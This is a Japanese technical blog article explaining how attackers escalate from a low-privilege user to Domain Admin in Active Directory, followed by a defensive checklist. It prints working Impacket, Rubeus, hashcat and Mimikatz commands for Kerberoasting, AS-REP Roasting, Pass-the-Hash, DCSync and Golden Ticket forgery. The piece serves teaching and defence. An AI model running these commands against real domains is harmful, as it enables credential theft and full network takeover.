0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

『Windows Active Directory ハッキングの思考法』〜なぜ堅牢に見えるドメインが Domain Admin を取られるのか〜

0
Posted at

要旨

 ペネトレーションテストや競技CTFにおいて、「ドメインに参加しているユーザーは取れたが、Domain Admin にたどり着けない」という経験をしたことはないでしょうか。一般ユーザーのシェル取得は、ゴールではなくスタートラインに過ぎません。Active Directory(AD)攻撃とは、低権限ドメインユーザーがネットワーク内の設定ミスや認証プロトコルの仕様を突いて、ドメイン全体の制御権を獲得する技術体系です。本記事では、AD 攻撃を「ツールを並べて使うだけ」のものではなく、Kerberos 認証の仕組みと管理者が生み出す構造的な隙間を体系的に読み解く思考法として論じます。Linux・Windows PrivEsc の続編として、「侵入後、ドメインを落とすまで」の流れを対にしてご覧ください。


記事本文

1. そもそも Active Directory がなぜ狙われるのか

 Active Directory は企業の IT インフラにおける「鍵束」です。認証・認可・グループポリシー・すべての Windows リソースへのアクセス制御を一手に担います。つまり Domain Controller(DC)を制圧することは、そのドメイン上のすべてのシステム・ユーザー・データへの完全アクセスを意味します

 そして AD が攻撃者にとって魅力的な理由がもうひとつあります。AD は「正規の動作に溶け込む攻撃」が特に有効なシステムだということです。Kerberos チケットの要求も、ディレクトリの複製も、サービスアカウントの認証も、すべて正規の AD 操作として見えます。攻撃者はゼロデイを必要とせず、設計仕様の想定内の動作を組み合わせるだけでドメインを落とすことができます。

 IBM の 2025 年 X-Force 脅威インテリジェンスレポートによれば、2024 年の全インシデントの 30% が認証情報の窃取・悪用に起因しており、ID を標的とした攻撃が最大の侵入経路となっています[1]。AD 攻撃を理解することは、攻撃者がどのように「合法的に見える操作」で侵入するかを理解することでもあります。


2. AD 攻撃の大分類と攻撃者の思考プロセス

AD 攻撃は大きく次の3フェーズで進行します。

  • 列挙(Enumeration):ドメイン構造・ユーザー・グループ・ACL・SPN を把握する。BloodHound が代表ツール。
  • 認証情報の窃取と横展開(Credential Theft & Lateral Movement):Kerberoasting・AS-REP Roasting・Pass-the-Hash などでハッシュや ticket を奪い、水平移動する。
  • ドメイン制圧(Domain Dominance):DCSync・Golden Ticket などでドメイン全体の認証情報を掌握し、永続化する。

実務では、列挙なくして攻撃なしが鉄則です[2]。BloodHound が示す攻撃パスを理解せずにツールだけを動かすのは、Linux PrivEsc で LinPEAS の出力を読めずに使うのと同じ失敗です。


3. 代表的な手法の解説

手法1:列挙——BloodHound による攻撃パスの可視化

 すべての AD 攻撃の出発点は列挙です。BloodHound[3] は AD の全オブジェクト(ユーザー・グループ・コンピューター・ACL・GPO)を収集し、「現在の権限から Domain Admin への最短経路」をグラフで可視化するツールです。

# SharpHound(データ収集エージェント)の実行
.\SharpHound.exe -c All --outputdirectory C:\Temp\
# 生成された ZIP を BloodHound CE にインポート
# Linux から実行する場合(Impacket + BloodHound.py)
python3 bloodhound.py -u lowpriv -p 'Password1' -d corp.local -dc 192.168.1.10 -c All

収集した JSON を BloodHound にインポートして実行すべき最重要クエリは次の通りです。

Shortest Paths to Domain Admins
Find Principals with DCSync Rights
Find Kerberoastable Users
Find AS-REP Roastable Users
Find Computers where Domain Users are Local Admins

管理者の思考の盲点がここにあります。日々の運用で「ヘルプデスクユーザーがパスワードをリセットできる」「特定のグループが GenericWrite を持つ」という設定は、個別には合理的な判断です。しかし BloodHound はこれらを繋ぎ合わせ、**「3ホップで Domain Admin になれる経路」**を即座に発見します。管理者には見えていない道が、攻撃者には地図として見えているのです[4]。


手法2:Kerberoasting

 Linux の SUID バイナリ悪用が「既存の権限の隙間を突く」ものだとすれば、Kerberoasting は Kerberos 認証の仕様そのものを武器に変える手法です[1]。

Kerberos では、ドメインの全ユーザーが SPN(Service Principal Name)を持つサービスアカウントへのサービスチケット(TGS)をリクエストできます。このチケットはサービスアカウントの NTLM ハッシュで暗号化されており、攻撃者はこれをオフラインでクラックできます。

# Impacket(Linux 側から実行)
python3 GetUserSPNs.py corp.local/lowpriv:'Password1' -dc-ip 192.168.1.10 -request -outputfile kerb_hashes.txt

# Rubeus(Windows 側から実行)
.\Rubeus.exe kerberoast /outfile:hashes.txt

取得したハッシュを hashcat でオフラインクラックします。

# RC4 暗号化チケット(クラックが容易)
hashcat -m 13100 kerb_hashes.txt /usr/share/wordlists/rockyou.txt

# AES 暗号化チケット(より困難だが弱パスワードなら可能)
hashcat -m 19700 kerb_hashes.txt /usr/share/wordlists/rockyou.txt

2025 年に発生した米国医療大手 Ascension のランサムウェア被害は、Kerberoasting による RC4 チケットのクラックが起点とされており、米国上院議員が FTC に対してマイクロソフトのセキュリティ設計を調査するよう書簡を送るほどの社会問題になりました[1]。「正規のチケット要求」は誰でもできるという設計仕様が、そのまま攻撃ベクタになっているという事実は、設定ミスとは次元の異なる根本的な問題を示しています。


手法3:AS-REP Roasting

 Kerberoasting の「兄弟」と呼ばれる手法が AS-REP Roasting です[5]。Kerberos では通常、認証リクエスト(AS-REQ)にタイムスタンプを暗号化した事前認証(Pre-Authentication)が必要です。しかし一部のアカウントでは、互換性や運用上の理由からこれが無効化されています。

事前認証が無効なアカウントは、認証情報なしで DC にリクエストを送るだけで、パスワードハッシュを含む AS-REP が返されます。

# Impacket(ユーザーリストから脆弱アカウントを探索)
python3 GetNPUsers.py corp.local/ -usersfile users.txt -no-pass -dc-ip 192.168.1.10 -outputfile asrep_hashes.txt

# Rubeus(ドメイン参加済みの Windows から)
.\Rubeus.exe asreproast /outfile:asrep_hashes.txt
# hashcat でオフラインクラック(モード 18200)
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt

Kerberoasting との本質的な違いは、Kerberoasting はドメインユーザー認証が必要なのに対し、AS-REP Roasting は認証情報ゼロで攻撃が完結する点です。外部からのフットプリンティングだけで攻撃が完結することもあるため、特に危険度が高い手法です[5]。


手法4:Pass-the-Hash(PtH)

 Linux の sudo NOPASSWD への攻撃が「パスワードなしで root になる」ものだとすれば、Pass-the-Hash は NTLM ハッシュそのものをパスワードの代替として使う手法です。Windows の NTLM 認証はパスワードをハッシュに変換して送信するため、プレーンテキストのパスワードが不明でも、ハッシュさえあればそのユーザーとして認証できます

# Impacket(Linux 側から対象ホストに接続)
python3 psexec.py -hashes :8846f7eaee8fb117ad06bdd830b7586c Administrator@192.168.1.20

# CrackMapExec(ネットワーク全体に展開して有効なハッシュを探索)
crackmapexec smb 192.168.1.0/24 -u Administrator -H 8846f7eaee8fb117ad06bdd830b7586c
# Mimikatz(Windows 側から)
sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:8846f7eaee8fb117ad06bdd830b7586c /run:cmd.exe

ここで重要な思考の視点があります。組織内のワークステストで同一のローカル管理者パスワードが使い回されているケースは非常に多く見られます。1台のマシンのハッシュを取得すれば、crackmapexec のネットワークスキャンで同一ハッシュが通用するホストが連鎖的に発見されます。Linux における cron の「設定ミスの連鎖」が、ここでは「パスワード使い回しの連鎖」として現れるのです。


手法5:DCSync 攻撃

 Linux の Capabilities 悪用が「見えにくい権限」を突くものだとすれば、DCSync は DC 間のレプリケーション権限を悪用してドメイン全体の認証情報を窃取する手法です。DC は常に互いに認証情報を同期しており、この複製プロセスは DS-Replication-Get-Changes 等の権限を持つアカウントが実行できます。攻撃者は DC に「別の DC のふりをして」複製リクエストを送ることで、DC に直接ログインすることなく全ハッシュを取得できます[6]。

# Impacket(Linux 側から実行。Domain Admin 権限が必要)
python3 secretsdump.py corp.local/admin:'Password1'@192.168.1.10

# KRBTGT アカウントのハッシュを指定して取得
python3 secretsdump.py -just-dc-user krbtgt corp.local/admin:'Password1'@192.168.1.10
# Mimikatz(Windows 側から)
lsadump::dcsync /domain:corp.local /all
lsadump::dcsync /domain:corp.local /user:krbtgt

MITRE ATT&CK では T1003.006 として分類されており、マイクロソフトの 2025 年 12 月の AD 脅威ガイダンスでも「最も観測されるポストエクスプロイト手法のひとつ」と位置づけられています[6]。DCSync で取得した KRBTGT ハッシュは、次の Golden Ticket 攻撃への直通路になります。


手法6:Golden Ticket 攻撃——「鍵のマスターキー」の偽造

 DCSync でドメイン全体の認証情報が取得できたとしても、それだけでは永続性がありません。ここで登場するのが Golden Ticket 攻撃です[7]。Kerberos は全てのチケットを KRBTGT アカウントのハッシュで署名します。つまり、KRBTGT ハッシュさえ持っていれば、任意のユーザーとして任意の有効期限でチケットを偽造できます

# 必要な情報の収集(Domain SID と KRBTGT ハッシュ)
python3 secretsdump.py corp.local/admin:'Password1'@192.168.1.10
# → KRBTGT の NTLMハッシュ: bf106a...
# → ドメイン SID: S-1-5-21-XXXX
# Mimikatz で Golden Ticket を生成
kerberos::golden /user:FakeAdmin /domain:corp.local /sid:S-1-5-21-XXXX /krbtgt:bf106a... /ptt
# /ptt = Pass-the-Ticket(メモリに直接注入)

# 生成されたチケットでドメイン全体にアクセス
dir \\DC01\C$   # DC のファイルシステムに直接アクセス

Golden Ticket が他の攻撃と根本的に異なる点は、DC がこの偽造チケットを正規のものと区別できないことです。有効期限を10年に設定したチケットを生成し、パスワードをリセットされても KRBTGT ハッシュが変わらなければチケットは有効であり続けます。これは「侵害後の永続化」として使われ続けます[7]。

MITRE ATT&CK では T1558.001(Steal or Forge Kerberos Tickets)として分類されており、国家レベルのAPTグループによる実際の攻撃でも多数確認されています[8]。


4. 列挙(Enumeration)こそが本質

 ここまで紹介した手法に共通する点があります。それは手法の前に、必ず徹底的な列挙が必要ということです。

 攻撃者の視点では、ドメインユーザーのシェルを取得した瞬間に行うべき行動は「すぐに Domain Admin を取る」ではなく、「今いる環境の権限グラフを全方位から把握する」ことです。BloodHound[3] はこの列挙を視覚化する代表的なツールであり、Linux の LinPEAS・Windows の WinPEAS の「AD 版」です。

# 収集した BloodHound データで確認すべき主要クエリ
"Shortest Paths to Domain Admins"       # 最短の Domain Admin 経路
"Find Kerberoastable Users"              # Kerberoasting の対象
"Find AS-REP Roastable Users"            # AS-REP Roasting の対象
"Find Principals with DCSync Rights"     # DCSync 可能なアカウント

ただし、BloodHound の可視化に頼り切ることには危険があります。グラフが示すパスを実際に悪用できるかどうかは、Kerberos・NTLM・ACL の動作原理の理解が前提となります。「ツールは思考の補助であり、思考の代替ではない」という点は、AD 攻撃でも変わりません[2]。


5. 防御側の視点:管理者が意識すべきチェックリスト

攻撃手法を理解したうえで、防御側として確認すべき項目を整理します。

Kerberoasting 対策

  • SPN を持つサービスアカウントに gMSA(グループ管理サービスアカウント)を使用しているか
  • サービスアカウントのパスワードは 25 文字以上の複雑なものか
  • RC4 暗号化を無効化し、AES のみに限定しているか(Windows Server 2025 / Windows 11 24H2 では順次デフォルト無効化予定)[9]

AS-REP Roasting 対策

  • DONT_REQ_PREAUTH フラグが設定されたアカウントを定期的にスキャンしているか
  • 本当に事前認証が不要なアカウントが存在するか棚卸しているか

Pass-the-Hash 対策

  • ローカル管理者アカウントのパスワードは LAPS で全端末異なるものを自動管理しているか
  • Credential Guard を有効化して LSASS のハッシュ窃取を防いでいるか

DCSync 対策

  • DS-Replication-Get-Changes 権限を持つアカウントを定期監査しているか
  • Event ID 4662 のオブジェクト操作ログを SIEM に転送し、異常な複製リクエストを検知しているか

Golden Ticket 対策

  • 侵害が疑われる場合は KRBTGT アカウントのパスワードを 2 回(アカウントの有効期限 2 倍分)間隔を空けてリセットしているか
  • Microsoft Defender for Identity(旧 Azure ATP)で Golden Ticket の異常を検知しているか

BloodHound を活用した防御

  • 定期的に BloodHound を防御的に実行し、Domain Admin への予期しない攻撃パスが存在しないか確認しているか

6. セキュリティエンジニアとして考えるべきこと

 Linux PrivEsc の根本が「管理者の設定の盲点」であるように、Windows AD 攻撃の根本もまた「管理者の信頼の盲点」です。Kerberoasting が問題なのは、攻撃者が仕様通りにチケットを要求しているからです。DCSync が問題なのは、攻撃者が正規のレプリケーションプロトコルを使っているからです。「正常に動いているから安全」ではなく「正常に動いているように見えるものが攻撃かもしれない」という疑いの目こそが、AD セキュリティの本質です。

 実際のペネトレーションテストでは、初期アクセス取得から BloodHound による経路特定、Kerberoasting、Pass-the-Hash によるラテラルムーブメント、DCSync 、Golden Ticket という一連のチェーンで、1〜2 時間で Domain Admin に到達することが珍しくないとされています[2]。

 AD 攻撃は、Linux PrivEsc や Windows PrivEsc の「後続フェーズ」として位置づけられます。3つを組み合わせて理解することで、「初期侵入→ローカル権限昇格→ドメイン制圧」という攻撃者の完全な思考プロセスが見えてきます。技術は人のために使われるべきであり、私たちセキュリティエンジニアはその悪用の構造を理解したうえで、組織を守る仕組みを設計し続けることが求められていると考えます。


Linux PrivEsc との対応表

概念 Linux PrivEsc Windows AD 攻撃
列挙ツール LinPEAS BloodHound / SharpHound
権限の可視化 sudo -l / getcap -r / BloodHound グラフ / ACL スキャン
仕様の悪用 SUID バイナリ Kerberoasting(TGS 要求は正規の動作)
設定ミスの悪用 cron の world-writable AS-REP Roasting(事前認証の無効化)
ハッシュの横展開 /etc/shadow クラック Pass-the-Hash(NTLM の仕様)
全権限の奪取 カーネルエクスプロイト DCSync → Golden Ticket
永続化 SUID シェルの設置 Golden Ticket(KRBTGT ハッシュの保持)

参考文献

[1] BlackFog. "Kerberoasting Attack Explained: Example And Prevention Guide." November 17, 2025.
https://www.blackfog.com/kerberoasting-attack-explained/

[2] Redfox Cybersecurity. "Active Directory Attack Playbook for Red Teamers." April 2026.
https://www.redfoxsec.com/blog/active-directory-attack-playbook-for-red-teamers

[3] SpecterOps. "BloodHound Community Edition."
https://github.com/SpecterOps/BloodHound

[4] LazyHackers. "Active Directory Attacks: Kerberoasting, AS-REP Roasting, Pass-the-Hash and DCSync." April 2026.
https://lazyhackers.in/article/active-directory-attacks-kerberoasting-dcsync

[5] Redbot Security. "AS-REP Roasting: Kerberos Hash Extraction Explained." June 4, 2025.
https://redbotsecurity.com/as-rep-roasting/

[6] ThreatForged AI. "DCSync Attack Explained: How It Works & Detection Guide." April 2026.
https://blog.threatforged.ai/dcsync-attack-what-is-it-how-it-works/

[7] Cayosoft. "Golden Ticket Attack: How To Protect Your Active Directory." August 23, 2025.
https://www.cayosoft.com/blog/golden-ticket-attack/

[8] CrowdStrike. "What Is a Golden Ticket Attack?" August 12, 2025.
https://www.crowdstrike.com/en-us/cybersecurity-101/cyberattacks/golden-ticket-attack/

[9] Microsoft Security Blog. "Microsoft's guidance to help mitigate Kerberoasting." October 11, 2024.
https://www.microsoft.com/en-us/security/blog/2024/10/11/microsofts-guidance-to-help-mitigate-kerberoasting/

[10] CISA / NSA / Five Eyes. "Detecting and Mitigating Active Directory Compromises." September 2024.
https://www.cisa.gov/resources-tools/resources/detecting-and-mitigating-active-directory-compromises

[11] MITRE ATT&CK. "T1003.006 - OS Credential Dumping: DCSync."
https://attack.mitre.org/techniques/T1003/006/

[12] MITRE ATT&CK. "T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket."
https://attack.mitre.org/techniques/T1558/001/

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?